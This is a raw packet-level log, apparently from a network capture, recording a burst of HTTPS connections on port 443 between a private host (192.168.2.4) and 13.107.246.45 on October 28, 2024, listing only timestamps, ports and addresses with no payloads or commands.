Oct 28, 2024 06:28:27.858428001 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.858450890 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.858525991 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.858707905 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.858720064 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.948879957 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.949065924 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.949143887 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.949343920 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.949343920 CET	49933	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.949385881 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.949415922 CET	443	49933	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.953217030 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.953259945 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:27.953347921 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.953566074 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:27.953598022 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.545013905 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.545578003 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.545641899 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.546205997 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.546225071 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.583503962 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.584095001 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.584156990 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.584537029 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.584552050 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.588182926 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.588599920 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.588628054 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.589160919 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.589167118 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.591109037 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.591424942 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.591464996 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.591928959 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.591941118 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.678536892 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.678592920 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.678697109 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.678946018 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.678987026 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.679016113 CET	49938	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.679033041 CET	443	49938	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.682739973 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.682780027 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.682852030 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.683029890 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.683043957 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.692533970 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.693151951 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.693211079 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.693725109 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.693738937 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.712570906 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.712739944 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.712836981 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.712888956 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.712925911 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.712953091 CET	49940	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.712968111 CET	443	49940	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.715934038 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.715980053 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716068983 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716284990 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716300011 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716304064 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716363907 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716414928 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716434002 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716460943 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716511011 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716561079 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716571093 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.716605902 CET	49941	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.716612101 CET	443	49941	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.719059944 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.719084978 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.719340086 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.719340086 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.719368935 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.725245953 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.725294113 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.725341082 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.725363016 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.725398064 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.725594997 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.725594997 CET	49939	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.725621939 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.725646019 CET	443	49939	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.728153944 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.728168011 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.728244066 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.728389025 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.728404045 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.822530031 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.822668076 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.822755098 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.822946072 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.822968006 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.823038101 CET	49942	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.823049068 CET	443	49942	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.826385975 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.826421976 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:28.826565027 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.826754093 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:28.826765060 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.415002108 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.415605068 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.415633917 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.416264057 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.416268110 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.439289093 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.439747095 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.439779043 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.440083027 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.440088987 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.446763992 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.447199106 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.447210073 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.447721958 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.447727919 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.470654011 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.471036911 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.471045017 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.471415997 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.471421003 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.553411961 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.553525925 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.553579092 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.553579092 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.553632021 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.553803921 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.553821087 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.553832054 CET	49943	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.553837061 CET	443	49943	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.556071043 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.557135105 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.557152987 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.557794094 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.557799101 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.559079885 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.559129953 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.559195042 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.559346914 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.559367895 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.566087961 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.566206932 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.566262960 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.566288948 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.566308022 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.566320896 CET	49944	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.566327095 CET	443	49944	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.568330050 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.568402052 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.568469048 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.568563938 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.568578005 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.600756884 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.600809097 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.600866079 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.600876093 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.600960970 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601027966 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601094007 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601099968 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601113081 CET	49946	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601118088 CET	443	49946	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601511002 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601562977 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601699114 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601705074 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601764917 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601871014 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601871014 CET	49945	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.601883888 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.601891994 CET	443	49945	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.603745937 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.603771925 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.603846073 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.603955984 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.603965998 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.604504108 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.604518890 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.604583025 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.604677916 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.604684114 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.685880899 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686178923 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686233997 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.686250925 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686285973 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686340094 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.686367989 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686384916 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.686384916 CET	49947	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.686393023 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.686399937 CET	443	49947	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.689989090 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.690052032 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:29.690150976 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.690279007 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:29.690295935 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.298475027 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.319246054 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.340383053 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.348212004 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.348246098 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.349826097 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.362246990 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.362256050 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.367758036 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.371891022 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.371901989 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.381244898 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.381251097 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.395163059 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.395170927 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.395354033 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.399924994 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.399930000 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.409317970 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.409322977 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.413914919 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.413919926 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.428168058 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.432789087 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.432806969 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.437697887 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.437705040 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.489274025 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.489362955 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.489423990 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.489546061 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.489564896 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.489578009 CET	49948	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.489588976 CET	443	49948	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.509174109 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.509368896 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.509430885 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.528701067 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.528804064 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.528877020 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.528892994 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.528942108 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.528996944 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.540288925 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.540353060 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.540414095 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.540424109 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.540471077 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.540523052 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.545810938 CET	49951	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.545828104 CET	443	49951	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.564008951 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.564126968 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.564193010 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.605897903 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.605909109 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.605938911 CET	49950	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.605943918 CET	443	49950	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.607088089 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.607096910 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.607111931 CET	49949	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.607117891 CET	443	49949	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.607907057 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.607907057 CET	49952	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.607945919 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.607971907 CET	443	49952	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.612711906 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.612759113 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.612854004 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.614216089 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.614260912 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.614346027 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.614538908 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.614557028 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.615151882 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.615185022 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.616852045 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.616863966 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.616936922 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.617089987 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.617103100 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.620100021 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.620182037 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.620264053 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.620779037 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.620825052 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.620888948 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.621052980 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.621071100 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:30.621221066 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:30.621260881 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.357589006 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.358249903 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.358304977 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.358915091 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.358933926 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.359694958 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.360002995 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.360042095 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.360475063 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.360490084 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.362689972 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.362977028 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.362993002 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.363424063 CET	49953	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.363451004 CET	443	49953	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.370631933 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.370990038 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.371046066 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.371428967 CET	49954	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.371443033 CET	443	49954	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.395966053 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.396641970 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.396697998 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.397202969 CET	49956	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.397217035 CET	443	49956	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.487674952 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.487860918 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.487957001 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.488111973 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.488148928 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.488178015 CET	49955	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.488193989 CET	443	49955	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.490760088 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.490839005 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.490900993 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.491065025 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.491086960 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.491100073 CET	49957	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.491106987 CET	443	49957	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.492212057 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.492290974 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.492384911 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.492579937 CET	49958	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.492599010 CET	443	49958	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:31.493849993 CET	49959	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:31.493871927 CET	443	49959	13.107.246.45	192.168.2.4
